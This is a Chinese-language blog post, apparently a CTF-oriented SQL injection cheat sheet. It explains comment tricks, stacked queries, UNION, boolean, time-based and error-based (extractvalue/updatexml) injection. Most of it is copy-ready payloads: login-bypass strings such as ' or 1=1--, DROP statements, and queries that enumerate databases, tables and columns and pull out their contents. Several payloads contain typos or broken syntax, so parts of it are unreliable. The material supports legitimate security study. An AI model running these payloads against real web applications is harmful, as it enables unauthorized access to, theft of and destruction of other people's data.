SQL注入基础原理

0、 select 和 limit

select * :是查询表中所有字段内容
select 字段 :是查询表中指定字段内容
sm代表MySQL 和 SQL Server
limit 0,1 即前一个0表示从一开始
后一位数表示显示多少个数

1、SQL注释

1.行间注释

注释掉查询语句的其余部分
行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。

DROP sampletable;–(sm)
DROP sampletable;–+
DROP sampletable;–’

DROP sampletable;#(m)
DROP sampletable;%23

使用了行间注释的SQL注入攻击样例
用户名:admin’–
构成语句:SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’ 这会使你以admin身份登陆,因为其余部分的SQL语句被注释掉了。

2.行内注释

通过不关闭注释注释掉查询语句的其余部分,或者用于绕过过滤,移除空格,混淆,或探测数据库版本。

/注释内容/

DROP/comment/sampletable
DR/** /OP/* 绕过过滤*/ sampletable
SELECT/* 替换空格*/ password/* /FROM/**/Members
/
! MYSQL专属 /
这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码,只有MySQL才会执行。同样的你也可以用这招,使得只有高于某版本的服务器才执行某些代码。 SELECT /
!32302 1/0, / 1 FROM tablename
MySQL版本探测攻击样例
SELECT /
!32302 1/0, / 1 FROM tablename
如果MySQL的版本高于3.23.02,会抛出一个division by 0 error
ID:/
!32302 10*/
ID:10
如果MySQL版本高于3.23.02,以上两次查询你将得到相同的结果
堆叠查询(Stacking Queries)
在SQL中,分号(;)是用来表示一条sql语句的结束。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
注意:有些语言不支持堆叠注入

2.If语句

根据If语句得到响应。这是盲注(Blind SQL Injection)的关键之一
MySQL的If语句
IF(condition,true-part,false-part)(M)

SELECT IF (1=1,‘true’,‘false’)

SQL Server的If语句
IF condition true-part ELSE false-part(S)

IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

使用了If语句的注入攻击样例
if ((select user) = ‘admin’ or (select user) = ‘root’) select 1 else select 1/0(S)

如果当前用户不是"admin"或者"root",就会抛出一个divide by zero error。

3.Union注入

通过union你能跨表执行查询。最简单的,你能注入一个查询使得它返回另一个表的内容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

这会把news表和members表的内容合并返回。

经常给UNION配上ALL使用,因为经常会有相同数值的字段,而缺省情况下UNION都会尝试返回唯一值(records with distinct)
如果你每次查询只能有一条记录,而你不想让原本正常查询的记录占用这宝贵的记录位,你可以使用-1或者根本不存在的值来搞定原查询(前提是注入点在WHERE里)。
在UNION中使用NULL,对于大部分数据类型来说这样都比瞎猜字符串、日期、数字之类的来得强
盲注的时候要小心判断错误是来自应用的还是来自数据库的。因为像ASP.NET就经常会在你使用NULL的时候抛出错误(因为开发者们一般都没想到用户名的框中会出现NULL)

4.探测字段数

在SELECT查询中使用ORDER BY探测字段数(MSO+)
通过ORDER BY来探测字段数能够加快union注入的速度。

ORDER BY 1–
ORDER BY 2–
……
ORDER BY N–
一直到它报错为止,最后一个成功的数字就是字段数。

5.延时盲注

首先,只在完全没有提示(really blind)的情况下使用,否则请使用1/0方式通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时(timeout)。
1.WAITFOR DELAY time
这就跟sleep差不多,等待特定的时间。通过CPU来让数据库进行等待。

WAITFOR DELAY ‘0:0:10’–
2.BENCHMARK()(M)
一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。
BENCHMARK(howmanytimes, do this)
3.pg_sleep(seconds)§
睡眠指定秒数。

SELECT pg_sleep(10);睡个十秒

5.SQL函数

5.1substr()函数

1、作用:用来截取数据库某个字段中的一部分。
2、语法:substr(string,start,length)
string参数:必选。数据库中需要截取的字段。
start参数:必选。正数,从字符串指定位子开始截;
负数,从字符串结尾指定位子开始截取;
0,在字符串中第一个位子开始截取。1,同理。(特殊)
length参数:可选。需要截取的长度。

5.2 group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

group_concat 与 limit 类似
连接字符

5.2.1 concat_ws("连接字符"A,B)

表示A连接字符B

5.3 extractvalue函数

正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
数据库名:id=1’and(select extractvalue(1,concat(0x7e,(select database()))))
表名:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
字段名:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
数据:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

5.4 updatexml函数

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

5.5 regexp 和 like

检测字母是否一致,若一致返回1
select users() regexp ‘r’
select users() like ‘ro%’

5.6left

left((select database()),1)=“s”–+

6.注入语句

6.1 数据表

select database();
select schema_name from information_schema.schemata;
盲注猜字母长度和ASCII值
1 and (length(database()))=4
1 and ascii(substr((select database(),1,1)=115
时间盲注
1 and if(length(database())=4,sleep(3),1)
报错
1 union select updataxml(1,concat(0x7e,database(),0x7e),1);#

6.2 表名

union 查询

union select 1,group_concat(table_name) from information_schema.tables where table_schema where version=10;
union select /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!=‘information_schema’ AND table_schema!=‘mysql’;
盲注
布尔盲注
1 and (select count(table_name)from information_schema.tables where table_schema=database())=2
1 and ascii(substr(select table_name from information_schema.tables where table_schema=database())limit 0,1),1,1)>100
猜字母
报错
1 union select updataxml(1,concat(0x7e,select(group_concat(table_name))from information_schema.tables where table_schema),0x7e),1);#

6.3 列名

union 查询
union selelct group_concat(table_name)from information_schema.tables where table_name=“sqli”
盲注
布尔注入
1 and (select count (column_name)from information_schema.columns where table_name=database())
1 and ascii(substr((select column_name from information_schema.columns where tabel_name=“flag” and table_schema=“sqli” ),1,1))>100
报错

6.4 flag!!

union 查询
union select group_concat(flag) from sqli.flag
盲注
布尔注入
1 and ascii(substr((select *from sqli.flag where id=1),1,1))>100
时间注入

7.显错注入

MYSQL注入:
判断当前页面字段总数
and 1=1 order by 1,2,3,4,5…

判断显示位:
and 1=2 union select 1,2,3,4,5…(这里union select 前面的语句为假时才会执行后面的语句)

查看当前数据库:
and 1=2 union select 1,2 schema_name from information_schema.schema
and 1=2 unoin select 1,2,database()

查询表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

查询列名:
and 1=2 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name=表名的16进制 limit 0,1

查询字段内容:
and 1=2 union select 1,2,列名,4 from 表名 limit 0,1…

万能密码

admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–

8.0其他函数

system_user()和user()用法一致都显示登录用户
version() mysql的版本信息
@@datadir mysql的安装路径
@@version_compile_os 操作系统

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值